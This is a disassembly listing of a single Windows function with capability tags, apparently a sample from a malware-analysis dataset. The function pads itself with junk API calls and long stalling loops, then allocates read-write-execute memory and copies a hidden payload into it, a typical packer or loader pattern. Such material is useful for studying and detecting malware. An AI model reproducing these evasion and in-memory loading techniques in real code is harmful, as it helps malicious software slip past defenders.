Function at 0x403699
Capabilities:
Access the windows event log
Allocate or change rwx memory

Disassembly:
mov eax, 0x42f5f7
call fcn.0042f590
mov eax, 0x1080
call fcn.0040f170
push ebx
push esi
xor esi, esi
cmp dword [0x241d9a4], 0x1c9
push edi
jne 0x403773
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push esi
push 0x402ed8
push 0x402ee4
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
lea eax, [ebp - 0x8c]
push eax
push esi
push esi
push 0x402f18
push esi
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push esi
call dword [sym.imp.GDI32.dll_GetPolyFillMode]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.ole32.dll_CoGetPSClsid]
lea eax, [ebp - 0x68]
push eax
call fcn.00403a4c
push ecx
push ecx
mov eax, esp
mov dword [ebp - 4], esi
mov dword [eax], esi
push ecx
mov dword [eax + 4], esi
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00403330
fstp st(0)
push 0x402f3c
lea ecx, [ebp - 0x1c]
call fcn.00403230
lea ecx, [ebp - 0x1c]
call fcn.0040324c
push esi
call fcn.004045d1
pop ecx
push esi
call fcn.00404757
pop ecx
push esi
call fcn.00404a07
xor edi, edi
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp edi, 0x2b259d
jle 0x40379f
cmp dword [ebp - 0x14], 0x785074d5
jne 0x4037a8
inc edi
cmp edi, 0x6dcc4e
jl 0x403775
add dword [0x241d9a4], 0x1134b
push 0x402f4c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x241d994], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x40
push 0x1000
push dword [0x241d9a4]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor edi, edi
mov dword [0x23ff6c4], eax
cmp dword [0x241d9a4], esi
jbe 0x40381c
cmp dword [0x241d9a4], 0xa8
mov eax, dword [0x241e408]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x23ff6c4]
mov byte [ecx + edi], al
jne 0x403813
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
inc edi
cmp edi, dword [0x241d9a4]
jb 0x4037ec
xor ebx, ebx
mov eax, dword [0x241d9a4]
add eax, ebx
cmp eax, 0xe
jne 0x4038a8
push 0x402f5c
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push esi
lea eax, [ebp - 0x108c]
push eax
push 0x402f7c
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
lea eax, [ebp - 0x48c]
push eax
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push 0x402fa0
push 0x402fc0
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
xor eax, eax
mov word [ebp - 0x2c], ax
lea edi, [ebp - 0x2a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x88c]
push eax
push esi
lea eax, [ebp - 0x2c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
inc ebx
cmp ebx, 0x4fe161
jl 0x40381e
mov edi, 0x4cc
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
dec edi
jne 0x4038ba
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0xcaaaff1
jg 0x4038e3
inc edi
cmp edi, 0x1f05843
jl 0x4038cb
call fcn.004035b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x26
jne 0x4038f8
call fcn.0040367f
inc esi
cmp esi, 0x409495
jl 0x4038e8
call fcn.00403363
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret